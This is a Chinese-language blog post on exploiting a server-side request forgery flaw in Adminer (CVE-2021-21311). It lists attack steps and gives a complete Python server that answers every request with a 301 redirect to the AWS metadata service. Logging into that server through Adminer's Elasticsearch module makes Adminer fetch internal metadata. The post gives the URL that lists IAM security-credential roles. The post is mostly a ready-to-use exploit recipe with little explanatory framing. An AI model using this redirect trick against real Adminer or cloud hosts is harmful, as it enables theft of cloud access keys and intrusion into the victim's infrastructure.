Adminer SSRF(CVE-2021-21311)

发布于 2024-11-01 12:28:36 字数 2610 浏览 25 评论 0

使用管理员发送任意 get 请求并从内部服务器检索 JSON 响应的方法。可以从 AWS 元数据服务中提取 AWS 访问密钥。

攻击步骤:

首先,启动一个 python 服务器,该服务器侦听传入的连接并以 301 重定向响应到任意选择的主机。在此示例情况下,重定向指向 AWS 元数据服务:

http://169.254.169.254/latest/meta-data/instance-id 

然后,在 Adminer 中使用 Elasticsearch 登录模块“登录”运行 python 代码的服务器,这导致 Adminer 从包含服务器的 AWS 实例 ID 的元数据服务器打印 json 响应。

重定向请求的 python 脚本:

#!/usr/bin/env python

import SimpleHTTPServer
import SocketServer
import sys
import argparse

def redirect_handler_factory(url):
    """
    Returns a request handler class that redirects to supplied `url`
    """
    class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
           self.send_response(301)
           self.send_header('Location', url)
           self.end_headers()

       def do_POST(self):
           self.send_response(301)
           self.send_header('Location', url)
           self.end_headers()

    return RedirectHandler


def main():

    parser = argparse.ArgumentParser(description='HTTP redirect server')

    parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
    parser.add_argument('--ip', '-i', action="store", default="", help='host interface to listen on')
    parser.add_argument('redirect_url', action="store")

    myargs = parser.parse_args()

    redirect_url = myargs.redirect_url
    port = myargs.port
    host = myargs.ip

    redirectHandler = redirect_handler_factory(redirect_url)

    handler = SocketServer.TCPServer((host, port), redirectHandler)
    print("serving at port %s" % port)
    handler.serve_forever()

if __name__ == "__main__":
    main()
http://169.254.169.254/latest/meta-data/iam/security-credentials/  //列出服务器的可用角色。

ref:

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

予囚

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

马化腾

文章 0 评论 0

thousandcents

文章 0 评论 0

辰『辰』

文章 0 评论 0

ailin001

文章 0 评论 0

冷情妓

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文